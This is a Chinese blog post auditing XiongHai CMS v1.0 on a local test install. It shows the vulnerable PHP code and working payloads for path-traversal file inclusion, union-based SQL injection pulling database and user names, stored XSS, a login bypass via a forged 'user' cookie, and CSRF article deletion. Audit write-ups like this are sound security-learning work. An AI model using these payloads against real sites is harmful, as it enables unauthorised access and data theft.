熊海CMS xhcms v1.0代码审计
有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0
本地环境安装好了之后,可以看到提示安装了锁文件
说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了,挨个看看
1 2 3 4 5 6 7 | <?php //单一入口模式 error_reporting (0); //关闭错误显示 $file = addslashes ( $_GET [ 'r' ]); //接收文件名 $action = $file == '' ? 'index' : $file ; //判断为空或者等于index include ( 'files/' . $action . '.php' ); //载入相应文件 ?> |
第一个疑似文件包含漏洞,对GET方式传进的参数r进行了参数过滤,但是存在目录穿越,黑盒尝试了一下使用点 反斜杠截断,无果,存在漏洞,但是只能包含本地php文件
创建一个phppinfo.php文件
本来是包含files文件夹下的php文件,通过目录穿越我们尝试包含phpinfo.php
1 | http: //127.0.0.1/xhcms_v1.0/?r=../../phpinfo |
成功包含
第二个疑似文件包含漏洞也是同样的利用方式,代码都是类似的:
1 2 3 4 5 6 7 | <?php //单一入口模式 error_reporting (0); //关闭错误显示 $file = addslashes ( $_GET [ 'r' ]); //接收文件名 $action = $file == '' ? 'index' : $file ; //判断为空或者等于index include ( 'files/' . $action . '.php' ); //载入相应文件 ?> |
再看一下疑似存在SQL注入的地方
1 2 3 4 5 6 7 8 9 10 | $save = $_POST [ 'save' ]; $ad1 = addslashes ( $_POST [ 'ad1' ]); $ad2 = addslashes ( $_POST [ 'ad2' ]); $ad3 = addslashes ( $_POST [ 'ad3' ]); if ( $save ==1){ $query = "UPDATE adword SET ad1= '$ad1' , ad2= '$ad2' , ad3= '$ad3' , date =now()"; |
这里可以看到对于POST方式输入的参数使用了addslashes函数进行过滤,所以这里的注入是一个误报,看下一处疑似注入:
在editcolumn.php文件中,存在如下代码:
1 2 3 4 5 | $id = $_GET [ 'id' ]; $type = $_GET [ 'type' ]; if ( $type ==1){ $query = "SELECT * FROM nav WHERE id='$id'" ; |
可以看到对于GET方式输入的id没有进行过滤,应该是开发者的遗漏,我们到本地网站上进行测试
1 | http: //127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1 |
输入单引号之后页面报错
1 | http: //127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27 |
我们知道后端的php代码,就直接使用union select 进行注入
1 | http: //127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20order%20by%2010--+ |
1 | http: //127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10--+ |
字段数为10,回显位置有2,6,3,4,8
1 | http: //127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,database(),3,4,5,user(),7,8,9,10--+ |
使用payload查询database()和user()
成功获取到了数据。
测试了一下后台的头像文件上传,上传正常的图片好像都不行
一直都是这个头像,尝试寻找XSS,CSRF和越权漏洞
1 2 3 4 5 6 7 8 9 10 11 | if (isset( $_GET [ "callback" ])) { if (preg_match( "/^[\w_]+$/" , $_GET [ "callback" ])) { echo htmlspecialchars( $_GET [ "callback" ]) . '(' . $result . ')' ; } else { echo json_encode( array ( 'state' => 'callback参数不合法' )); } } else { echo $result ; } |
这里使用了htmlspecialchars函数进行过滤,$callback参数不存在XSS漏洞,而result变量在前面是固定的几个选项,不能构造XSS
到联系的留言列表里面去,可以看到用户可以在这里留言,应该是我搭建的问题,导致用户不能提交留言,但是有一个管理员回复,我们到后台界面留言回复,进行XSS攻击。
使用payload:
1 | <script>alert(1)</script> |
1 | <script>alert(/xss/);</script> |
再到网站联系界面,可以看到成功弹窗
同时我们审查元素,可以看到XSS的payload在页面的元素中,对管理员回复留言并没有进行限制,导致XSS漏洞的产生
关于越权漏洞,因为只有admin一个用户,我们尝试可不可以不输入密码进入后台
在后台主页进行抓包:
可以看到Cookie里面有user=admin,很容易联想到会不会是user所对应的名字就是它对应的权限,测试之后发现不是,因为就一个用户,但是测试发现只要存在user,就能够进入后台,如我们先将cookie删除:
可以看到会将我们重定向至login界面
将cookie中的user改为一个并不存在的用户SpringBird,可以看到后台登录成功。
寻找CSRF漏洞,CSRF全程为跨站请求伪造,即可以劫持其他用户去进行一些请求。我们尝试劫持管理员的权限去删除文章
点击删除文章之后抓包
使用burpsuite自带的CSRF POC生成
在本地创建CSRF.html,访问之
可以看到出现了按钮,抓包的时候我们可以看到没有token验证,证明很有可能存在CSRF漏洞,这个时候浏览器还保存着管理员的身份信息,所以点击Submit就能够删除对应的文章
成功进行CSRF攻击。
继续努力吧。
参考链接:
http://foreversong.cn/archives/387
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/12824593.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!